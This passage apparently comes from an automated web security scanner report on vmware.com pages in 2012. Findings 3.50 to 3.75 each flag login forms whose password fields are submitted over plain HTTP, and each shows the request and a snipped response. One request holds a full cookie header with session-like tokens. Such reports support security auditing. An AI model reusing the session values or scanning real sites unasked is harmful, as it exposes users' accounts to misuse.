Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:53:02 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 94207


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.50. http://www.vmware.com/landing_pages/vpp/benefits.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /landing_pages/vpp/benefits.html

Request

GET /landing_pages/vpp/benefits.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:44 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 81343


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.51. http://www.vmware.com/partners/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /partners/

Request

GET /partners/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:11 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 77150


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.52. http://www.vmware.com/partners/partners.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /partners/partners.html

Request

GET /partners/partners.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:11 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 81762


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.53. http://www.vmware.com/partners/programs/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /partners/programs/

Request

GET /partners/programs/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:12 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 86023


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.54. http://www.vmware.com/partners/programs/corporate-resellers.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /partners/programs/corporate-resellers.html

Request

GET /partners/programs/corporate-resellers.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:15 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 79538


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</strong>
<form name="frmLogin" method="post" target="mainwindow" action="http://vmwareprod.clickcommerce.com/authenticator/authenticate" onsubmit="return fncSubmit();" id="frmLogin">
<input type="hidden" name="actionName" value="login" />
...[SNIP]...
<br />
<input type="password" name="password" maxlength="50" size="20" scrollable="" />
<br />
...[SNIP]...
3.55. http://www.vmware.com/partners/programs/service-provider/index.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /partners/programs/service-provider/index.html

Request

GET /partners/programs/service-provider/index.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en-US
Date: Tue, 01 May 2012 03:52:12 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 89205


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.56. http://www.vmware.com/partners/programs/solution-provider/index.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /partners/programs/solution-provider/index.html

Request

GET /partners/programs/solution-provider/index.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:13 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 100854


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</strong>
<form name="frmLogin" method="post" target="mainwindow" action="http://vmwareprod.clickcommerce.com/authenticator/authenticate" onsubmit="return fncSubmit();" id="frmLogin">
<input type="hidden" name="actionName" value="login" />
...[SNIP]...
<br />
<input type="password" name="password" maxlength="50" size="20" scrollable="" />
<br />
...[SNIP]...
3.57. http://www.vmware.com/partners/programs/system-integrators.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /partners/programs/system-integrators.html

Request

GET /partners/programs/system-integrators.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:14 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 79543


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</strong>
<form name="frmLogin" method="post" target="mainwindow" action="http://vmwareprod.clickcommerce.com/authenticator/authenticate" onsubmit="return fncSubmit();" id="frmLogin">
<input type="hidden" name="actionName" value="login" />
...[SNIP]...
<br />
<input type="password" name="password" maxlength="50" size="20" scrollable="" />
<br />
...[SNIP]...
3.58. http://www.vmware.com/partners/programs/ten-reasons-to-partner-vmware.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /partners/programs/ten-reasons-to-partner-vmware.html

Request

GET /partners/programs/ten-reasons-to-partner-vmware.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:12 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 85787


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</strong>
<form name="frmLogin" method="post" target="mainwindow" action="http://vmwareprod.clickcommerce.com/authenticator/authenticate" onsubmit="return fncSubmit();" id="frmLogin">
<input type="hidden" name="actionName" value="login" />
...[SNIP]...
<br />
<input type="password" name="password" maxlength="50" size="20" scrollable="" />
<br />
...[SNIP]...
3.59. http://www.vmware.com/partners/programs/training-centers.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /partners/programs/training-centers.html

Request

GET /partners/programs/training-centers.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:15 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 75305


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.60. http://www.vmware.com/partners/solution-competencies.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /partners/solution-competencies.html

Request

GET /partners/solution-competencies.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:52:17 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 77221


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.61. http://www.vmware.com/products/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/

Request

GET /products/ HTTP/1.1
Host: www.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://search.vmware.com/search?cn=vmware&cc=www&client=VMware_Site&entqr=0&ud=1&num=20&output=xml_no_dtd&proxystylesheet=VMware_gsa_Site&site=VMware_Site&ie=UTF-8&oe=UTF-8&q=xss+sql+injection&x=0&y=0
Cookie: s_nr=1335320426225; uid=10.113.78.120.309951335320403339; BE_CLA=p_id%3DAL6PP6A8PNPPRNPL26J8P2420LRL8A2JNH%26p_last_ref%3Dhttp%253A//www.fakereferrerdominator.com/referrerPathName%253FRefParName%253DRefValue%26s_entry%3Dhttp%253A//www.vmware.com/%26p_first_ref%3Dhttp%253A//www.fakereferrerdominator.com/referrerPathName%253FRefParName%253DRefValue%26p_first_entry%3Dhttp%253A//www.vmware.com/support/pubs/%26s_expire%3D1335845522319%26s_id%3D8J246NP62NPPRJPJ82P8P2420LRL8A2JNH; __utma=106857756.1485474146.1335843542.1335843542.1335843542.1; __utmb=106857756.7.10.1335843542; __utmc=106857756; __utmz=106857756.1335843542.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName; myvmware-wwwa-prod=A412jKE9HPwmz2CFuADnKD5eFD3y9JUOWCoHifWjQCEIaVuuEDe8Z0A9hbIP70aiolod1HsKREGFV3s=; myvmware-www=hsK5BtblEqVlyXvFsN/GU1k4V/ZdkREjnc2ldo8El3hYmrviY7JUPKXDkZX36tM9n37Mvsr2zXCRAA==; TSc99b3e=5377f1bc8a6b783c77daa0684fa3e457abb1f043c06b19c14f9f5ad1; first_pv_191807=1; _jsuid=2410290445; unpoco_191807=1; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520search%252520%25253A%252520search%2526pidt%253D1%2526oid%253Dhttp%25253A//www.vmware.com/solutions/%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: fr
Vary: Accept-Encoding
Date: Tue, 01 May 2012 03:43:46 GMT
Content-Length: 126185
Connection: close


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.62. http://www.vmware.com/products/application-platform/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/application-platform/

Request

GET /products/application-platform/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:38 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 79088


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.63. http://www.vmware.com/products/application-platform/vfabric-appdirector/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/application-platform/vfabric-appdirector/overview.html

Request

GET /products/application-platform/vfabric-appdirector/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:34 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 83994


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.64. http://www.vmware.com/products/application-platform/vfabric-application-performance-manager/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/application-platform/vfabric-application-performance-manager/overview.html

Request

GET /products/application-platform/vfabric-application-performance-manager/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:34 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 86193


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.65. http://www.vmware.com/products/application-platform/vfabric-data-director/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/application-platform/vfabric-data-director/overview.html

Request

GET /products/application-platform/vfabric-data-director/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:33 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 83889


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.66. http://www.vmware.com/products/application-platform/vfabric-enterprise-ready-server/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/application-platform/vfabric-enterprise-ready-server/overview.html

Request

GET /products/application-platform/vfabric-enterprise-ready-server/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:30 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 86525


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.67. http://www.vmware.com/products/application-platform/vfabric-gemfire/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/application-platform/vfabric-gemfire/overview.html

Request

GET /products/application-platform/vfabric-gemfire/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:30 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 88791


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.68. http://www.vmware.com/products/application-platform/vfabric-hyperic/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/application-platform/vfabric-hyperic/overview.html

Request

GET /products/application-platform/vfabric-hyperic/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:35 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 87738


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.69. http://www.vmware.com/products/application-platform/vfabric-rabbitmq/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/application-platform/vfabric-rabbitmq/overview.html

Request

GET /products/application-platform/vfabric-rabbitmq/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:31 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 84519


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.70. http://www.vmware.com/products/application-platform/vfabric-sqlfire/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/application-platform/vfabric-sqlfire/overview.html

Request

GET /products/application-platform/vfabric-sqlfire/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:31 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 83230


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.71. http://www.vmware.com/products/application-platform/vfabric-tcserver/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/application-platform/vfabric-tcserver/overview.html

Request

GET /products/application-platform/vfabric-tcserver/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:29 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 86799


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.72. http://www.vmware.com/products/application-platform/vfabric-web-server/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/application-platform/vfabric-web-server/overview.html

Request

GET /products/application-platform/vfabric-web-server/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:32 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 82510


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.73. http://www.vmware.com/products/application-platform/vfabric/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/application-platform/vfabric/overview.html

Request

GET /products/application-platform/vfabric/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:29 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 87116


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.74. http://www.vmware.com/products/datacenter-virtualization/
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/datacenter-virtualization/

Request

GET /products/datacenter-virtualization/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:02 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 77899


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</h1>
<form action="/group/vmware/home" method="post" name="login_Form">
<div class="ctrlHolder clearfix">
...[SNIP]...
</label>
<input type="password" size="35" id="login_password" name="password" class="password"></input>
...[SNIP]...
3.75. http://www.vmware.com/products/datacenter-virtualization/it-business-management/overview.html
Previous  Next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vmware.com
Path:   /products/datacenter-virtualization/it-business-management/overview.html

Request

GET /products/datacenter-virtualization/it-business-management/overview.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
